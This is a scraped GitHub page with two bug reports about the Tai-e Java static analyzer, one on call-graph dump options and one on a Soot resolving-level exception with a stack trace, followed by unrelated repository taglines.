The java program only contains one .java file and I compiled and made it into a .jar file as directed by the wiki. My running command is
java -cp tai-e-all.jar pascal.taie.Main -cp Test.jar -m Test -java 7 -a "cg=algorithm:pta;dump:true;dump-methods:true;dump-call-edges:true"
Another strange point is that when I execute with the command
java -cp tai-e-all.jar pascal.taie.Main -cp Test.jar -m Test -java 7 -a "cg=algorithm:pta
the program worked well
Tai-e starts ...
Writing options to output/options.yml
Writing analysis plan to output/tai-e-plan.yml
WorldBuilder starts ...
5798 classes with 54936 methods in the world
WorldBuilder finishes, elapsed time: 12.04s
pta starts ...
[Pointer analysis] elapsed time: 11.91s
#var pointers: 5,0008 (insens) / 5,0008 (sens)
#objects: 1,1582 (insens) / 1,1582 (sens)
#var points-to: 1524,0102 (insens) / 1524,0102 (sens)
#static field points-to: 4,2060 (sens)
#instance field points-to: 328,1338 (sens)
#array points-to: 34,2971 (sens)
#reachable methods: 7313 (insens) / 7313 (sens)
#call graph edges: 3,8651 (insens) / 3,8651 (sens)
pta finishes, elapsed time: 13.30s
cg starts ...
Call graph has 7313 reachable methods and 38651 edges
cg finishes, elapsed time: 0.00s
Tai-e finishes, elapsed time: 25.53s
but failed once dump configurations were introduced. So I wonder if there is some bug in constructin call graph or my linux environment is not suitable?
My environment is on wsl 22.04.2 LTS release and Tai-e is the released version 0.0.3
I tried to do pointer analysis on MapReduce, and get exception:
Exception in thread "main" java.lang.RuntimeException: This operation requires resolving level HIERARCHY but org.apache.hadoop.hbase.mapreduce.RowCounter is at resolving level DANGLING
If you are extending Soot, try to add the following call before calling soot.Main.main(..):
Scene.v().addBasicClass(org.apache.hadoop.hbase.mapreduce.RowCounter,HIERARCHY);
Otherwise, try whole-program mode (-w).
at soot.SootClass.checkLevelIgnoreResolving(SootClass.java:209)
at soot.SootClass.checkLevel(SootClass.java:191)
at soot.SootClass.getSuperclass(SootClass.java:855)
at pascal.taie.frontend.soot.SootClassBuilder.getSuperClass(SootClassBuilder.java:76)
at pascal.taie.language.classes.JClass.build(JClass.java:106)
at pascal.taie.frontend.soot.SootClassBuilder.build(SootClassBuilder.java:53)
at pascal.taie.frontend.soot.SootClassLoader.loadClass(SootClassLoader.java:67)
at pascal.taie.language.type.ClassType.getJClass(ClassType.java:49)
at pascal.taie.analysis.pta.plugin.util.CSObjs.toClass(CSObjs.java:70)
at pascal.taie.analysis.pta.plugin.reflection.StringBasedModel.lambda$getMethod$6(StringBasedModel.java:109)
at java.base/java.lang.Iterable.forEach(Iterable.java:75)
at pascal.taie.analysis.pta.plugin.reflection.StringBasedModel.getMethod(StringBasedModel.java:108)
at pascal.taie.analysis.pta.plugin.util.AbstractModel.lambda$handleNewPointsToSet$0(AbstractModel.java:128)
at java.base/java.lang.Iterable.forEach(Iterable.java:75)
at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
at pascal.taie.analysis.pta.plugin.util.AbstractModel.handleNewPointsToSet(AbstractModel.java:124)
at pascal.taie.analysis.pta.plugin.reflection.ReflectionAnalysis.onNewPointsToSet(ReflectionAnalysis.java:92)
at pascal.taie.analysis.pta.plugin.CompositePlugin.lambda$onNewPointsToSet$1(CompositePlugin.java:105)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.pta.plugin.CompositePlugin.onNewPointsToSet(CompositePlugin.java:105)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:255)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:222)
at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
at pascal.taie.Main.executePlan(Main.java:142)
at pascal.taie.Main.lambda$main$0(Main.java:56)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:48)
String files = Stream.of(new File("target").listFiles())
.filter(file -> !file.isDirectory())
.map(File::toString)
.collect(Collectors.joining(":"));
Main.main(new String[]{ "-cp", files,
"-m", "org.apache.hadoop.hbase.mapreduce.Driver",
"-java", "8",
"-a", "pta"
});
Compressed target folder: https://raw.githubusercontent.com/FXTi/codeql-uboot/main/target.tar.gz
OS: ArchLinux
IDE: IDEA
version of Tai-e: 0.0.3
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.